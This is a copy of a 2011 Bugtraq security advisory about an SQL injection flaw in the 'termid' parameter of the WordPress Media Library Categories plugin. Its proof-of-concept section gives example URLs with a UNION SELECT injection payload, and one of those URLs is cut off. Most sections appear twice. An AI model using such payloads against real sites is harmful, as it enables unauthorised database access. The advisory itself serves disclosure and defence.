WordPress Media Library Categories Plugin 'termid' Parameter SQL Injection Vulnerability
BID:49062
Info
WordPress Media Library Categories Plugin 'termid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 49062 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 06 2011 12:00AM |
| Updated: | Aug 06 2011 12:00AM |
| Credit: | Miroslav Stampar |
| Vulnerable: |
WordPress Media Library Categories 1.0.6 WordPress Media Library Categories 1.0.5 WordPress Media Library Categories 1.0.4 |
| Not Vulnerable: | |
Discussion
WordPress Media Library Categories Plugin 'termid' Parameter SQL Injection Vulnerability
The Media Library Categories plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Media Library Categories versions 1.0.6 and prior are vulnerable.
The Media Library Categories plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Media Library Categories versions 1.0.6 and prior are vulnerable.
Exploit / POC
WordPress Media Library Categories Plugin 'termid' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI's are available:
http://www.example.com/wp-content/plugins/media-library-categories/sort.php?termid=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20
http://www.example.com/wp-content/plugins/media-library-categories/sort.php?termid=1 AND
Attackers can use a browser to exploit this issue.
The following example URI's are available:
http://www.example.com/wp-content/plugins/media-library-categories/sort.php?termid=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20
http://www.example.com/wp-content/plugins/media-library-categories/sort.php?termid=1 AND
Solution / Fix
WordPress Media Library Categories Plugin 'termid' Parameter SQL Injection Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
References
WordPress Media Library Categories Plugin 'termid' Parameter SQL Injection Vulnerability
References:
References:
- Product Homepage (wordpress)
- Wordpress church_admin Plugin "id" Cross-Site Scripting Vulnerability (Sammy Forgit)